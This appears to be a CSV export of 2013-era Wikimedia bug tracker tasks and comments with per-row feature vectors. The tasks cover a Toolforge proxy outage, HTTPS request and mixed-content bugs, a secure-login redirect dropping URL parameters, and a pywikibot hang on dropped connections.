+https://gerrit.wikimedia.org/r/97055",,,1385141890,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6e5c435b2v7yejeovuwh,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+261786,tools-login has different repository than other nodes,"The version installed on tools-login is, in fact, not available through any of the enabled revisions or repos -- and that specific version seems to come from Quantal (and not unstable, which provides 1.8.5-1).
+
+I have no memory of having backported that package, there is no related log entry nor does there seem to be a ticket in bugzilla requesting that specific version.  I'm going to forcibly restore doxygen to the supported Precise version.",,,1385141406,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-6e5c435b2v7yejeovuwh,task_subcomment,,True,c2,3,False,,,12,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+58158,tools-webproxy intermittently down for http,"see http://ganglia.wmflabs.org/latest/?c=tools&h=tools-webproxy&m=load_one&r=hour&s=by%20name&hc=4&mc=2
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1382708100,1383053246.0,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,False,PHID-TASK-q2i23llzx5y57tttmumu,task_description,resolved,True,c2,3,False,False,True,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+275971,tools-webproxy intermittently down for http,*** Bug 56244 has been marked as a duplicate of this bug. ***,,,1383054215,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-q2i23llzx5y57tttmumu,task_subcomment,,True,c2,3,False,,,8,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+275963,tools-webproxy intermittently down for http,Problem located and squished; it turns out that one of the tools was accidentally causing a DDOS by triggering flood protection.  Settings have been tweaked to be more forgiving.  :-),,,1383053246,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-q2i23llzx5y57tttmumu,task_subcomment,,True,c2,3,False,,,8,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+275954,tools-webproxy intermittently down for http,"There appears to be an intermittent problem, but that problem only affects http:// and not https://",,,1382714329,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-q2i23llzx5y57tttmumu,task_subcomment,,True,c2,3,False,,,8,True,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0
+275947,tools-webproxy intermittently down for http,"The proxy actually seems fine, and has been running without interruption (at least, I see no 'blank spots' in the logs since the NFS migration (with 200s in basically every minute).
+
+I'm guessing that the issue is with the ganglia instrumentation.",,,1382711595,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-q2i23llzx5y57tttmumu,task_subcomment,,True,c2,3,False,,,8,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,1,0
+58047,PHPHttpRequest doesn't work with HTTPS,"Introduced by 1c927b1df2a (Iab2bda1ebc). Turns out PHP expects the context scheme name to be ""http"" regardless of whether the actual protocol is HTTP or HTTPS. This breaks PHPHttpRequest for all HTTPS requests since it no longer sets the stream context properly.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal",High,80.0,1382542620,1399636250.0,PHID-USER-ea6gwat27oulytc5tvsy,False,,False,PHID-TASK-i3ra3luvp4o57n2apqkg,task_description,resolved,True,c2,3,False,False,False,8,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,1,0,0
+268960,PHPHttpRequest doesn't work with HTTPS,"Backported to REL1_22, closing again as FIXED.",,,1399636250,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-i3ra3luvp4o57n2apqkg,task_subcomment,,True,c2,3,True,,,36,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+268957,PHPHttpRequest doesn't work with HTTPS,"Change 132184 merged by jenkins-bot:
+Fixed stream wrapper in PhpHttpRequest
+
+https://gerrit.wikimedia.org/r/132184",,,1399546172,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-i3ra3luvp4o57n2apqkg,task_subcomment,,True,c2,3,False,,,36,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+268954,PHPHttpRequest doesn't work with HTTPS,"Change 132184 had a related patch set uploaded by MarkAHershberger:
+Fixed stream wrapper in PhpHttpRequest
+
+https://gerrit.wikimedia.org/r/132184",,,1399545959,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-i3ra3luvp4o57n2apqkg,task_subcomment,,True,c2,3,False,,,36,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+268951,PHPHttpRequest doesn't work with HTTPS,"Change 91393 merged by jenkins-bot:
+Fixed stream wrapper in PhpHttpRequest
+
+https://gerrit.wikimedia.org/r/91393",,,1391123566,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-i3ra3luvp4o57n2apqkg,task_subcomment,,True,c2,3,False,,,22,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+268948,PHPHttpRequest doesn't work with HTTPS,"Change 91393 had a related patch set uploaded by Parent5446:
+Fixed stream wrapper in PhpHttpRequest
+
+https://gerrit.wikimedia.org/r/91393",,,1382542832,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-i3ra3luvp4o57n2apqkg,task_subcomment,,True,c2,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+57860,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"To replicate, go to https://m.mediawiki.org - with console open, you should see an error like:
+
+[blocked] The page at https://m.mediawiki.org/wiki/MediaWiki ran insecure content from http://meta.m.wikimedia.org/wiki/Special:BannerRandom?uselang=en&sitename=M…roject=wikimedia&anonymous=false&bucket=1&country=US&device=android&slot=6.
+
+I presume this makes it impossible to run CN banners on mobile devices for logged in users.
+
+I chatted briefly with Matt Walker about this and it sounds like this is the result of how infrastructure is currently architected, though there may be an easy solution of forcing mobile URLs in CentralNotice using MobileContext::getMobileUrl() from MobileFrontend.
+
+--------------------------
+**Version**: master
+**Severity**: normal",High,80.0,1382059200,1398408159.0,PHID-USER-jh2oguhshocanixqvlfk,False,,False,PHID-TASK-nhm2ipniixhjagqyuoq7,task_description,resolved,True,c2,3,False,False,False,7,True,0,0,0,1,0,1,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+258862,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"No reply to comment 8 - assuming this bug is FIXED.
+If that is not the case: Please reopen and elaborate what is left to do here to get this report fixed.",,,1398408159,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c2,3,True,,,34,True,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0
+258857,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"mwalker:
+Patch was merged a while ago - is there more work left to do here (if yes: please reset the bug report status to NEW or ASSIGNED), or can you close this ticket as RESOLVED FIXED?",,,1392383043,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c2,3,True,,,24,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,0,0,1,0,0
+258851,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"Change 92806 merged by jenkins-bot:
+Serve Mobile URLs to Mobile Users
+
+https://gerrit.wikimedia.org/r/92806",,,1383176344,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+258843,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"Change 92806 had a related patch set uploaded by Mwalker:
+Serve Mobile URLs to Mobile Users
+
+https://gerrit.wikimedia.org/r/92806",,,1383174528,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+258833,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"**mwalker** wrote:
+
+%%%*** Bug 56393 has been marked as a duplicate of this bug. ***%%%",,,1383174514,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+258825,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"**mwalker** wrote:
+
+eh... not really; the patch didn't work. So! New patch!",,,1383174482,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+258819,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,Looks like the patch was merged and I'm no longer seeing the issue on m.mediawiki.org. Can this bug be closed?,,,1383157363,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,1,0,0
+258813,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"Change 90639 merged by Adamw:
+Serve Mobile URLs to Mobile Users
+
+https://gerrit.wikimedia.org/r/90639",,,1382126966,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+258806,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"Change 90639 had a related patch set uploaded by Mwalker:
+Serve Mobile URLs to Mobile Users
+
+https://gerrit.wikimedia.org/r/90639",,,1382126221,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+57761,wgSecureLogin redirect to https drops campaign and other URL parameters,"Now that $wgSecureLogin defaults to true for most WMF wikis, Special:UserLogin/signup redirects account creation to https. When it does so it drops all URL parameters to signup apart from returnto and returntoquery.
+
+As a result, we're losing campaign information, and other control over login such as &showGettingStarted=false.
+
+To reproduce:
+Browse enwiki over http, visit a random page, click Edit, if the yellowish ""You are not logged in...."" anoneditwarning bar appears, then note the http: link for "" or create an account"" contains &campaign=anoneditwarning""
+
+But when you click it, you are redirected to
+https://en.wikipedia.org/w/index.php?title=Special:UserLogin/signup&returnto=Ectoedemia_sabina&returntoquery=&fromhttp=1
+
+with no campaign parameter.
+
+One fix is to test for campaign and add it back to the $query, in the execute() function in includes/specials/SpecialUserlogin.php. Or, include all query string parameters in the redirect URL.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal",High,80.0,1381873020,1381959845.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-2quv7lfgsv57c5rbpniz,task_description,resolved,True,c2,3,False,False,True,6,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,0
+277922,wgSecureLogin redirect to https drops campaign and other URL parameters,"**swalling** wrote:
+
+https://gerrit.wikimedia.org/r/#/c/90125/ reviewed and merged",,,1381959845,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0
+277916,wgSecureLogin redirect to https drops campaign and other URL parameters,"Change 90125 merged by jenkins-bot:
+Include miscellaneous query parameters in $wgSecureLogin redirect
+
+https://gerrit.wikimedia.org/r/90125",,,1381943295,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+277909,wgSecureLogin redirect to https drops campaign and other URL parameters,"Change 90125 had a related patch set uploaded by Anomie:
+Include miscellaneous query parameters in $wgSecureLogin redirect
+
+https://gerrit.wikimedia.org/r/90125",,,1381934043,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+277903,wgSecureLogin redirect to https drops campaign and other URL parameters,"**swalling** wrote:
+
+Setting to high priority since this means ongoing data collection is being interrupted. Visible at: http://ee-dashboard.wmflabs.org/graphs/enwiki_campaigns",,,1381887312,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+277895,wgSecureLogin redirect to https drops campaign and other URL parameters,"(In reply to comment #1)
+> But is there any reason not to preserve the entire query string (then add
+> fromhttp=1)?
+
+Not that I can see for the purposes of the redirect. In load(), SpecialUserlogin.php adjusts mReturnTo and mReturnToQuery and on $wgSecureLogin redirect builds a new query string out of them; but my hunch is there's no harm redirecting to https with the entire original query string, and doing all query param processing in https processing.",,,1381885637,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c2,3,False,,,7,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,1
+277887,wgSecureLogin redirect to https drops campaign and other URL parameters,"Chris, it's not meant to be a parameter on the page they come back to (e.g. we don't want to send them to https://en.wikipedia.org/wiki/Ectoedemia_sabina?campaign=foo.  It's meant to be a parameter on the create page itself, since it's checked in the UserCreateForm hook.  I.E.
+
+https://en.wikipedia.org/w/index.php?title=Special:UserLogin/signup&returnto=Ectoedemia_sabina&returntoquery=&campaign=foo&fromhttp=1",,,1381877222,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c2,3,False,,,6,True,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0
+277879,wgSecureLogin redirect to https drops campaign and other URL parameters,"spage, whatever is inserting that link isn't accounting for the campaign parameter correctly. The signup form is correct redirecting back to the passed in returnto and returntoquery, which that link is incorrectly generating. For example, if you manually add ""&campaign=asdf"" to your url, and then click the normal nav bar's ""Create account"", the returntoquery is correctly set.",,,1381876826,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c2,3,True,,,6,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+277872,wgSecureLogin redirect to https drops campaign and other URL parameters,"campaign is not part of core, so if you need to add it here, it should be through a hook.
+
+But is there any reason not to preserve the entire query string (then add fromhttp=1)?",,,1381876021,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c2,3,False,,,6,True,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+57127,core hangs on killed http(s) connection,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1657/
+Reported by: valhallasw
+Created on: 2013-08-22 15:14:10.237000
+Subject: core hangs on killed http(s) connection
+Original description:
+Steps to reproduce:
+
+>>> p = pywikibot.Page(pywikibot.getSite('nl', 'wikipedia'), 'Wikipedia')
+>>> p.get()
+
+# now kill the connection, e.g. using tcpview in windows
+
+>>> p = pywikibot.Page(pywikibot.getSite('nl', 'wikipedia'), 'Wikipedia')
+>>> p.get()
+
+# hangs
+
+
+
+Expected result:
+pywikibot reconnects and executes the .get()
+
+Actual result:
+complete hang (deadlock?)
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: major
+**See Also**:
+https://sourceforge.net/p/pywikipediabot/bugs/1657",High,80.0,1380947340,1391369639.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_description,resolved,True,c2,3,False,False,False,5,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,1
+264330,core hangs on killed http(s) connection,"Change 108325 abandoned by Xqt:
+[BUGFIX] fixing bug 55127
+
+Reason:
+https://gerrit.wikimedia.org/r/110853
+https://gerrit.wikimedia.org/r/110866 
+https://gerrit.wikimedia.org/r/110867
+
+https://gerrit.wikimedia.org/r/108325",,,1391367609,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,22,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+264326,core hangs on killed http(s) connection,"Change 110867 merged by jenkins-bot:
+(bug 55127) Allow user to abort during http request
+
+https://gerrit.wikimedia.org/r/110867",,,1391367518,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,22,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+264323,core hangs on killed http(s) connection,"Change 110866 merged by jenkins-bot:
+(bug 55127) Allow user to cut off pending network requests at shutdown
+
+https://gerrit.wikimedia.org/r/110866",,,1391367516,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,22,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+264317,core hangs on killed http(s) connection,"Change 110853 merged by jenkins-bot:
+(bug 55127) Implement network timeouts
+
+https://gerrit.wikimedia.org/r/110853",,,1391367513,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,22,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
